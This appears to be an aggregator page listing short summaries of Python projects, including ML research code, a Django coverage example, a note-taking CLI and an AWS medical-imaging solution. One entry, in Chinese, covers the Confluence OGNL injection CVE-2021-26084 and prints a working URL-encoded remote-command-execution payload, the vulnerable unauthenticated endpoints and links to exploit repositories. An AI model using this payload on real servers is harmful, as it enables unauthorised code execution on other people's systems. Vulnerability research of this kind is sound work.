Simple TUI for quickly connecting to existing scripts/tools

Simple TUI for quickly connecting to existing scripts/tools.This is intended to be a simple TUI with very basic features. The idea is to create a common library to handle graphically some information while connected to remote terminals. Daily I have to connect to hundreds of servers (linux) remotely and also manage Docker containers (in the servers or in Kubernetes in the cloud – AWS). At work, we do use IaaC (Ansible) for managing everything, but we still have tons of […]

Read more

RoMA: Robust Model Adaptation for Offline Model-based Optimization

Implementation of RoMA: Robust Model Adaptation for Offline Model-based Optimization (NeurIPS 2021). Setup conda create -n roma python=3.7 conda activate roma pip install -r requirement.txt Run experiments python run.py –task [TASK] where available tasks are TASKS=[ant, superconductor, dkitty, hopper, gfp, molecule]. Citation @inproceedings{ yu2021roma, title={RoMA: Robust Model Adaptation for Offline    

Read more

Example project demonstrating using Django’s test runner with Coverage.py

Example project demonstrating using Django’s test runner with Coverage.py Set up with: python -m venv –prompt . venv source venv/bin/activate python -m pip install -r requirements.txt Run tests in parallel mode with coverage with this combination of commands: coverage erase && coverage run manage.py test –parallel 2 && coverage combine && coverage report You can also omit the number 2 to use as many test processes as there are CPU cores.But on Django < 4.0 this will trigger a warning: [...]

Read more

Revisiting Discriminator in GAN Compression: A Generator-discriminator Cooperative Compression Scheme

Overview Prerequisites Linux Python 3 CPU or NVIDIA GPU + CUDA CuDNN Getting Started Installation Please type the command pip install -r requirements.txt to install dependencies. Data preparation cityscapes horse2zebra celeb Coco, Set5, Set14, B100, Urban100 Pretrained Model We provide a list of pre-trained models in link. Pre-Training For Pruning Run the following script to pretrain a pix2pix on cityscapes dataset for generator pruning,all scripts for sagan, cyclegan, pix2pix, srgan can be found in    

Read more

Light-weight network, depth estimation, knowledge distillation, real-time depth estimation, auxiliary data

Boosting Light-Weight Depth Estimation Via Knowledge Distillation, https://arxiv.org/abs/2105.06143 Junjie Hu, Chenyou Fan, Hualie Jiang, Xiyue Guo, Yuan Gao, Xiangyong Lu, Tin Lun Lam Introduction This repo provides trained models and evaluation code for the light weight model for depth estimation. We aim to enable depth estimation to be both computationally efficient and accurate.We developed a knowledge distillation method with auxiliary unlabeled/labeled data for this purpose. We found that: Even without access to the original training set, we can still successfully […]

Read more

A simple note taker CLI program written in python

A simple note taker program written in python This allows you to snip your todo’s, notes, and your tasks easily without extra charges Requirements Only requirement is python3 and an unix operating system and windows supports python (windows may have limited support) You can create a first note by create argument. example session: ~ $ ./note-taker.py create Enter your Note title: Take out the trash Write your note: I will not forget to take out the    

Read more

The Research PACS on AWS solution facilitates researchers’ access medical images stored in the clinical PACS in a secure and seamless manner

Challenge to solve The rise of new technologies in medical imaging, such as artificial intelligence, is an great opportunity to accelerate research and facilitate clinical improvements. This requires access to innovative services and computational capabilities, that the cloud can provide, as well as imaging and clinical data to support research studies. Historically, it has been difficult for researchers to access medical images collected during the course of clinical care. This sometimes consists of a one-time, manual process where a clinical […]

Read more

CVE-2021-26084,Atlassian Confluence OGNL

CVE-2021-26084,Atlassian Confluence OGNL注入漏洞 Atlassian Confluence 是企业广泛使用的维基系统,其部分版本中存在OGNL 表达式注入漏洞。攻击者可以通过漏洞,不需要任何用户的情况下在目标Confluence 中执行任意代码。 queryString参数执行任意命令 queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage.action这个接口需要一个可以创建页面的用户权限: /pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 http://your-ip:8090/pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage-entervariables.action /pages/doenterpagevariables.action 不需要登录,用POST请求 脚本测试: 命令: 脚本利用: 命令: python3 -u http://example.com 参考: https://github.com/vulhub/vulhub/blob/master/confluence/ https://github.com/h3v0x/CVE-2021-26084_Confluence https://www.cnblogs.com/huangxiaosan/p/14290034.html https://blog.csdn.net/weixin_43072923/article/details/117083611 GitHub View Github    

Read more

Leyna’s Visualizing Data With Python

Below is information on the number of bilingual students in three school districts in Massachusetts. You will also find information on how the average number of women in national parliament worldwide has changed since 2000. Graph 1: Number of Bilingual Students in Massachusetts School Districts Amherst and Worcester had similar numbers of bilingual students, 6235 and 6541 respectively. Reading, however, has more than double of Amherst and Worcester combined — 27508. Data on the number of bilingual students for all […]

Read more
1 5 6 7 8 9 50